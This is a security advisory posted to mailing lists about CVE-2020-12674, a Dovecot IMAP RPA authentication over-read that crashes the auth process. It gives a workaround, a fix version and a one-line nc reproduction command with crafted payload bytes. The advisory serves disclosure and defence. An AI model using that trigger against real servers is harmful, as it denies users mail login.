```
Date: Wed, 12 Aug 2020 16:14:46 +0300
From: Aki Tuomi <aki.tuomi@...ecot.fi>
To: oss-security <oss-security@...ts.openwall.com>,
 full-disclosure <full-disclosure@...ts.openwall.com>
Subject: CVE-2020-12674: Dovecot IMAP server: Specially crafted RPA authentication message crashes auth

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server
Internal reference: DOP-1869 (Bug ID)
Vulnerability type: CWE-126 (Buffer over-read)
Vulnerable version: 2.2
Vulnerable component: auth
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-05-03
Researcher credit: Orange from DEVCORE team
CVE reference: CVE-2020-12674
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:
Dovecot's RPA mechanism implementation accepts zero-length message,
which leads to assert-crash later on

Risk:
An adversary can use this vulnerability to crash dovecot auth process
repeatedly, preventing login.

Steps to reproduce:
(echo 'AUTH RPA'; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x01\x00\x04\x00\x00\x01'
| base64 -w 0; echo ; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x00\x03A@A\x00' |
base64 -w 0; echo ; echo QUIT) | nc 127.0.0.1 110

Workaround:
Disable RPA authentication.

Solution:
Upgrade to fixed version.

Best regards,
Aki Tuomi
Open-Xchange oy
```

Download attachment "signature.asc**" of type "**application/pgp-signature**" (489 bytes)**